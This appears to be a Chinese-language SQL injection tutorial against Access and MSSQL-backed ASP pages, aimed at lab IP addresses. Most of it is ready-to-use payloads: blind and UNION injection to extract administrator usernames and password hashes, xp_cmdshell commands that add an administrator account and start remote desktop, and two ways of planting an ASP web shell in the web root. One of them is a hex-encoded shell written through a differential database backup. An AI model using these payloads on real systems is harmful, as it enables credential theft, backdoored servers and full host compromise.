一.本文介绍
1、本文介绍access手工注入、mssql注入获取webshell
判断数据库类型
在链接后面输入 and user>0,为下图错误类型,可以判断为access数据库
判断是MS SQL数据库
图1 : Microsoft OLE DB Provider for SQL Server 错误'80040e21'
将nvarchar值'****'转换为数据类型为int的列时发生语法错误。
Access数据库
图2:Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’
ODBC 驱动程序不支持所需的属性。
/news_view.asp,行20
二.手动注入
1、access手工注入:
Access只能暴力猜解,支持的数据库语句比较少。
先参数后面接 ' 出现错误或and 1=1;and 1=2,页面不同;则存在注入。
exists:检查查询的语句是否存在,存在返回True,不存在返回flse。
1.猜表:and exists(select * from administrator)
参数后接:and exists(select * from administrator)若表存在,页面显示正常;不存在会报错(可用burp爆表)。
2.猜字段:andexists(select user_name from administrator)
参数后接:and exists(select user_name from administrator)若字段存在,页面显示正常;不存在会报错(可用burp爆字段)。
3.猜(用户名)字段长度:and (select top 1 len (user_name)from administrator)>4 如果:>5出错就是 =5
5是我们要猜的长度,len为长度函数。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面
4.猜解字段内容:and (select top 1asc(mid(user_name,1,1)) from administrator)>97 (图1)
(mid(user_name,2,1)min为从第几位开始截取1位) 2,1)就是猜第2个内容(图2)
97是我们要猜的asc码。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面。最后一位一位的才出来即可得出用户名。密码也可以用这个办法猜出(mid(password,1,1)),若MD5,解密即可。
ASCII大于0为字母,小于0为汉字
Asc为100的字母为d
5.高级语句:
判断字段数 :参数后面接:order by7 ;7为我们要猜的字段数。当前 数据表的字段数。(asc为升序,从小到大;desc为降序,从大到小;order by 默认升序)
主查询 字段:http://192.168.1.55:901/news_view.asp?id=14 order by 7
判断字段名称
union select 1,2,3,4,5,6,7 from 表名 查看返回信息看看哪些字段是可写的
爆出显示位 :参数后面接:若显示位准确,则会显示对应数字。
爆出字段后查询administrator 的账号密码:union select 1,user_name,password,4,5,6,7 from administrator
md5密码
6、偏移注入与跨库查询 ,夸库需要知道绝对路径,所以一般不适用。(在5高级语法中,用:order by 爆出了当前表字段数为7)Acssecc才有偏移,sql等没有偏移注入。
偏移注入:在注入过程中,可能会遇到注入知道表名,但是不知道列名,从而无法继续猜解,此时需要偏移注入解决。
判断表名:union select 1,2,……,22,* from administrator (联合查询爆显位)
开始偏移注入:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from administrator #错误
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from administrator #错误
直到.........:
union select 1,2,3,4,* from administrator#正确 (爆出显示内容)
7-4=3,所以administrator 表的字段为3
union select 1,a.id,b.id,* from (administrator as a inner join administrator as b on a.id=b.id)
2、mssql注入获取webshell
1.先判断数据库类型,使用 and exists(select * from sysobjects)判断。
2.判断权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))(最高权限)
and 1=(select is_srvrolemember('db_owner'))(可以获取webshell)用到比较多
and 1=(select is_srvrolemember('public'))(只能看)
3.如果是sa权限
恢复扩展存储:;exec sp_dropextendedproc 'xp_cmdshell'
执行系统命令:添加用户 ;exec master..xp_cmdshell'net user test/add'
添加到管理员组:;exec master..xp_cmdshell 'net locaigroup administrators test/add',
开3389 ;execmaster..xp_cmdshell 'net start termservice',注册表允许远程连接"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer"/v
4.如果不具备sa权限,是dbowner权限
获取网站路径第一种方法
参数后面接:;exec master..xp_cmdshell 'netstat -an >>c:\netstat.txt'
第二种方法
http://192.168.1.55/sqlserver/1.aspx?xxser=1;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir c:\ '--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--
一句话木马写入到网站根目录下面:
http://192.168.0.105/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'-
通过工具或手工直接差异备份获取webshell
http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple